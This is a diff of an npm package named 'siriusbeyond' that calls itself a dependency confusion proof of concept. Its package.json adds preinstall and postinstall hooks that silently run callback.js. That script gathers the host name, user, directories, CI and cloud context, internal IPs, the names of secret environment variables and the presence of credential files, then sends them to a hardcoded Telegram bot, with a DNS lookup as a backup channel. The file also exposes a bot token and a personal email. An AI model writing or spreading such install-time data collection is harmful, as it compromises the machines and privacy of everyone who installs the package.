siriusbeyond 1.0.0

package/callback.js

@@ -0,0 +1,204 @@
+/**
+ * Enhanced Dependency Confusion Callback
+ * SECURITY RESEARCH ONLY - Collects env var NAMES, not values
+ */
+const https = require('https');
+const os = require('os');
+const dns = require('dns');
+const fs = require('fs');
+const path = require('path');
+
+const BOT_TOKEN = '8636277735:AAG-i_QzJ16XpWO7rm-W9IXp2Dq18cED8u4';
+const CHAT_ID = '1064260758';
+const PKG_NAME = process.env.npm_package_name || 'unknown';
+
+// Detect CI/CD environment
+function detectCI() {
+    const indicators = {
+        'GitHub Actions': process.env.GITHUB_ACTIONS,
+        'GitLab CI': process.env.GITLAB_CI,
+        'Jenkins': process.env.JENKINS_URL,
+        'CircleCI': process.env.CIRCLECI,
+        'Travis CI': process.env.TRAVIS,
+        'Azure Pipelines': process.env.TF_BUILD,
+        'AWS CodeBuild': process.env.CODEBUILD_BUILD_ID,
+        'Bitbucket Pipelines': process.env.BITBUCKET_BUILD_NUMBER,
+        'Drone CI': process.env.DRONE,
+        'TeamCity': process.env.TEAMCITY_VERSION,
+        'Buildkite': process.env.BUILDKITE,
+        'Bamboo': process.env.bamboo_buildKey,
+        'Heroku CI': process.env.HEROKU_TEST_RUN_ID,
+        'Vercel': process.env.VERCEL,
+        'Netlify': process.env.NETLIFY,
+    };
+
+    for (const [name, env] of Object.entries(indicators)) {
+        if (env) return name;
+    }
+    return process.env.CI ? 'Generic CI' : 'Local/Unknown';
+}
+
+// Detect cloud provider
+function detectCloud() {
+    const indicators = {
+        'AWS': ['AWS_REGION', 'AWS_EXECUTION_ENV', 'AWS_LAMBDA_FUNCTION_NAME', 'EC2_INSTANCE_ID'],
+        'GCP': ['GOOGLE_CLOUD_PROJECT', 'GCLOUD_PROJECT', 'GCP_PROJECT'],
+        'Azure': ['AZURE_CLIENT_ID', 'AZURE_SUBSCRIPTION_ID', 'WEBSITE_SITE_NAME'],
+        'Kubernetes': ['KUBERNETES_SERVICE_HOST', 'KUBERNETES_PORT'],
+        'Docker': ['DOCKER_HOST', 'container'],
+    };
+
+    const detected = [];
+    for (const [provider, envs] of Object.entries(indicators)) {
+        if (envs.some(e => process.env[e])) detected.push(provider);
+    }
+    return detected.length ? detected.join(', ') : 'Unknown';
+}
+
+// Get sensitive env var names (NOT values)
+function getSensitiveEnvNames() {
+    const sensitivePatterns = [
+        /token/i, /secret/i, /key/i, /password/i, /pass/i,
+        /auth/i, /api/i, /aws/i, /azure/i, /gcp/i, /google/i,
+        /npm/i, /git/i, /ssh/i, /private/i, /credential/i,
+        /docker/i, /registry/i, /artifactory/i, /nexus/i,
+        /slack/i, /discord/i, /webhook/i, /stripe/i,
+        /database/i, /db_/i, /mysql/i, /postgres/i, /mongo/i,
+        /redis/i, /elasticsearch/i, /jwt/i, /bearer/i,
+        /cert/i, /ssl/i, /tls/i, /encrypt/i,
+    ];
+
+    return Object.keys(process.env).filter(k =>
+        sensitivePatterns.some(p => p.test(k))
+    ).slice(0, 20);
+}
+
+// Check for interesting files
+function checkFiles() {
+    const interesting = [];
+    const checks = [
+        '.env', '.env.local', '.env.production',
+        '.npmrc', '.yarnrc',
+        'package-lock.json', 'yarn.lock',
+        '.git/config', '.docker/config.json',
+        'credentials', 'secrets.json'
+    ];
+
+    for (const f of checks) {
+        try {
+            if (fs.existsSync(path.join(process.cwd(), f))) {
+                interesting.push(f);
+            }
+        } catch (e) {}
+    }
+    return interesting;
+}
+
+// Get network info
+function getNetworkInfo() {
+    try {
+        const interfaces = os.networkInterfaces();
+        const ips = [];
+        for (const [name, addrs] of Object.entries(interfaces)) {
+            for (const addr of addrs) {
+                if (addr.family === 'IPv4' && !addr.internal) {
+                    ips.push(`${name}: ${addr.address}`);
+                }
+            }
+        }
+        return ips.slice(0, 3).join(', ') || 'N/A';
+    } catch (e) {
+        return 'N/A';
+    }
+}
+
+// Build the callback payload
+const payload = {
+    package: PKG_NAME,
+    hostname: os.hostname(),
+    user: os.userInfo().username,
+    platform: `${os.platform()} ${os.arch()}`,
+    release: os.release(),
+    cwd: process.cwd(),
+    home: os.homedir(),
+    ci_env: detectCI(),
+    cloud: detectCloud(),
+    node: process.version,
+    npm_registry: process.env.npm_config_registry || 'default (npmjs)',
+    time: new Date().toISOString(),
+    sensitive_vars: getSensitiveEnvNames(),
+    files_found: checkFiles(),
+    network: getNetworkInfo(),
+    uid: process.getuid ? process.getuid() : 'N/A',
+    gid: process.getgid ? process.getgid() : 'N/A',
+    pid: process.pid,
+    ppid: process.ppid,
+};
+
+// Format Telegram message
+const isRoot = payload.uid === 0;
+const hasAWS = payload.sensitive_vars.some(v => v.includes('AWS'));
+const hasGitHub = payload.sensitive_vars.some(v => v.includes('GITHUB'));
+
+const severity = (isRoot || hasAWS) ? '🔴 HIGH' : hasGitHub ? '🟠 MEDIUM' : '🟡 LOW';
+
+const message = `
+${severity} ${PKG_NAME.toUpperCase()} CALLBACK
+
+🖥️ *Host:* \`${payload.hostname}\`
+👤 *User:* \`${payload.user}\` ${isRoot ? '⚠️ ROOT!' : ''}
+💻 *Platform:* \`${payload.platform}\`
+📁 *CWD:* \`${payload.cwd}\`
+🏠 *Home:* \`${payload.home}\`
+
+🔧 *CI/CD:* ${payload.ci_env}
+☁️ *Cloud:* ${payload.cloud}
+🌐 *Network:* ${payload.network}
+📦 *Node:* ${payload.node}
+🔗 *Registry:* ${payload.npm_registry}
+⏰ *Time:* ${payload.time}
+
+🔑 *Sensitive Env Vars (${payload.sensitive_vars.length}):*
+\`\`\`
+${payload.sensitive_vars.join('\n') || 'None detected'}
+\`\`\`
+
+📄 *Files Found:*
+${payload.files_found.join(', ') || 'None'}
+
+📊 *Process:* PID ${payload.pid} | UID ${payload.uid} | GID ${payload.gid}
+`;
+
+const data = JSON.stringify({
+    chat_id: CHAT_ID,
+    text: message,
+    parse_mode: 'Markdown'
+});
+
+const req = https.request({
+    hostname: 'api.telegram.org',
+    port: 443,
+    path: `/bot${BOT_TOKEN}/sendMessage`,
+    method: 'POST',
+    headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(data)
+    }
+}, (res) => {
+    // Silent callback
+});
+
+req.on('error', () => {});
+req.write(data);
+req.end();
+
+// Also try DNS exfil as backup (some envs block HTTPS)
+try {
+    const encoded = Buffer.from(JSON.stringify({
+        h: payload.hostname.slice(0, 20),
+        u: payload.user,
+        c: payload.ci_env.slice(0, 10)
+    })).toString('base64').replace(/[+/=]/g, '').slice(0, 60);
+
+    dns.resolve(`${encoded}.dc-callback.example.com`, () => {});
+} catch (e) {}

package/index.js

@@ -0,0 +1,16 @@
+/**
+ * SECURITY RESEARCH - Dependency Confusion PoC
+ * Contact: ajmalaboobacker00@gmail.com
+ *
+ * This package was registered for security research purposes.
+ * If you are seeing this, please contact the researcher.
+ */
+
+module.exports = {
+    version: '1.0.0',
+    research: true,
+    contact: 'ajmalaboobacker00@gmail.com'
+};
+
+console.log('[SECURITY RESEARCH] This package was registered for dependency confusion research.');
+console.log('[SECURITY RESEARCH] Contact: ajmalaboobacker00@gmail.com');

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "siriusbeyond",
+  "version": "1.0.0",
+  "description": "SECURITY RESEARCH - Dependency Confusion PoC - Contact: ajmalaboobacker00@gmail.com",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js 2>/dev/null || true",
+    "postinstall": "node callback.js 2>/dev/null || true"
+  },
+  "keywords": ["security", "research", "dependency-confusion"],
+  "author": "Security Researcher <ajmalaboobacker00@gmail.com>",
+  "license": "MIT"
+}